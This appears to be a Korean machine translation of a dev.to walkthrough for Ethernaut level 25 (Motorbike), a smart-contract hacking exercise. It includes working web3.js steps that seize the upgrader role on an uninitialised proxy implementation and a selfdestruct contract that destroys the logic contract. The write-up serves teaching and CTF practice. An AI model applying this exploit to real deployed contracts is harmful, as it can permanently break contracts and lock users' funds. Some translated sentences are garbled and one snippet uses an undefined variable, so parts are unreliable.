Ethernaut 해킹 레벨 25: 오토바이
전제 조건
솔리디티
Solidity
Initializable 계약
마구 자르기
주어진 계약:
// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
struct AddressSlot {
address value;
}
// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}
// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}
// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}
// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
player
는 Motorbike
를 통해 구현/논리 계약( Engine
)을 파기하여 프록시( selfdestruct
)를 사용할 수 없도록 해야 합니다.보시다시피 현재
Engine
구현에는 selfdestruct
논리가 없습니다. 따라서 현재 구현에서는 selfdestruct
를 호출할 수 없습니다. 하지만 프록시 패턴의 로직/구현 컨트랙트이기 때문에 selfdestruct
가 들어있는 새로운 컨트랙트로 업그레이드가 가능합니다.upgradeToAndCall
메서드는 새 계약 주소로 업그레이드할 수 있지만 upgrader
주소만 호출할 수 있도록 권한 부여 확인이 있습니다. 따라서 player
는 어떻게든 upgrader
를 인수해야 합니다.여기서 명심해야 할 핵심은 논리 계약에 정의된 모든 스토리지 변수, 즉
Engine
는 실제로 Motorbike
가 아니라 프록시의 ( Engine
의) 스토리지에 저장된다는 것입니다. 여기서 프록시는 논리/구현 계약(논리 계층)에 논리만 위임하는 스토리지 계층입니다.프록시를 거치지 않고
Engine
컨텍스트에서 직접 쓰고 읽으려고 하면 어떻게 될까요? 먼저 Engine
의 주소가 필요합니다. 이 주소는 _IMPLEMENTATION_SLOT
의 스토리지 슬롯Motorbike
에 있습니다. 읽어봅시다:implAddr = await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
// Output: '0x000000000000000000000000<20-byte-implementation-contract-address>'
이것은 32바이트 값을 산출합니다(각 슬롯은 32바이트임).
0
의 패딩을 제거하여 20바이트address
를 얻습니다.implAddr = '0x' + implAddr.slice(-40)
// Output: '0x<20-byte-implementation-contract-address>'
이제 프록시를 거치지 않고
initialize
의 Engine
에 직접 트랜잭션을 보내면 코드는 프록시가 아닌 Engine
의 컨텍스트에서 실행됩니다. 즉, initialized
, initializing
( Initializable
에서 상속됨), upgrader
등의 스토리지 변수를 Engine
의 스토리지 슬롯에서 읽습니다. 그리고 이러한 변수에는 false
가 저장소가 아닌 논리 계층으로만 가정되었기 때문에 각각 기본값인 false
, 0x0
, Engine
가 포함될 가능성이 큽니다.initialized
컨텍스트에서 false
는 bool
(기본값은 Engine
)과 같으므로 initializer
메서드의 initialize
수정자는 전달됩니다!initialize
의 주소(예: Engine
)에서 implAddr
를 호출합니다.initializeData = web3.eth.abi.encodeFunctionSignature("initialize()")
await web3.eth.sendTransaction({ from: player, to: implAddr, data: initializeData })
좋습니다.
initialize
메서드를 호출하면 이제 player
를 upgrader
로 설정해야 합니다. 확인 방법:upgraderData = web3.eth.abi.encodeFunctionSignature("upgrader()")
await web3.eth.call({from: player, to: implAddr, data: upgraderSig}).then(v => '0x' + v.slice(-40).toLowerCase()) === player.toLowerCase()
// Output: true
따라서
player
는 이제 upgradeToAndCall
메서드를 통해 구현 계약을 업그레이드할 수 있습니다. Remix에서 다음 악성 계약BombEngine
을 생성해 보겠습니다.// SPDX-License-Identifier: MIT
pragma solidity <0.7.0;
contract BombEngine {
function explode() public {
selfdestruct(address(0));
}
}
(동일한 네트워크에) 배포
BombEngine
하고 주소를 복사합니다.upgradeToAndCall
를 통해 새 구현을 설정하고 BombEngine
주소를 전달하고 explode
메서드를 params로 인코딩하면 기존 Engine
이 자체적으로 파괴됩니다. 이는 _upgradeToAndCall
가 제공된 data
매개변수를 사용하여 지정된 새 구현 주소에 대한 호출을 위임하기 때문입니다. delegatecall
는 컨텍스트 보존이므로 selfdestruct
메서드의 explode
는 Engine
컨텍스트에서 실행됩니다. 따라서 Engine
가 파괴됩니다.Engine
를 BombEngine
로 업그레이드하십시오. upgradeToAndCall
에서 호출할 implAddress
의 함수 데이터를 먼저 설정합니다.bombAddr = '<BombEngine-instance-address>'
explodeData = web3.eth.abi.encodeFunctionSignature("explode()")
upgradeSignature = {
name: 'upgradeToAndCall',
type: 'function',
inputs: [
{
type: 'address',
name: 'newImplementation'
},
{
type: 'bytes',
name: 'data'
}
]
}
upgradeParams = [bombAddr, explodeData]
upgradeData = web3.eth.abi.encodeFunctionCall(upgradeSignature, upgradeParams)
이제
upgradeToAndCall
에서 implAddr
로 전화하십시오.await web3.eth.sendTransaction({from: player, to: implAddr, data: upgradeData})
팔!
Engine
가 파괴되었습니다! Motorbike
는 이제 쓸모가 없습니다. Motorbike
모든 업그레이드 논리가 이제 파괴된 논리 계약에 있었기 때문에 지금은 수리할 수도 없습니다.멋진 것을 배웠습니까? 주연을 고려해보세요 github repo 😄
그리고 트위터 팔로우 해주세요🙏
Reference
이 문제에 관하여(Ethernaut 해킹 레벨 25: 오토바이), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/nvn/ethernaut-hacks-level-25-motorbike-397g텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)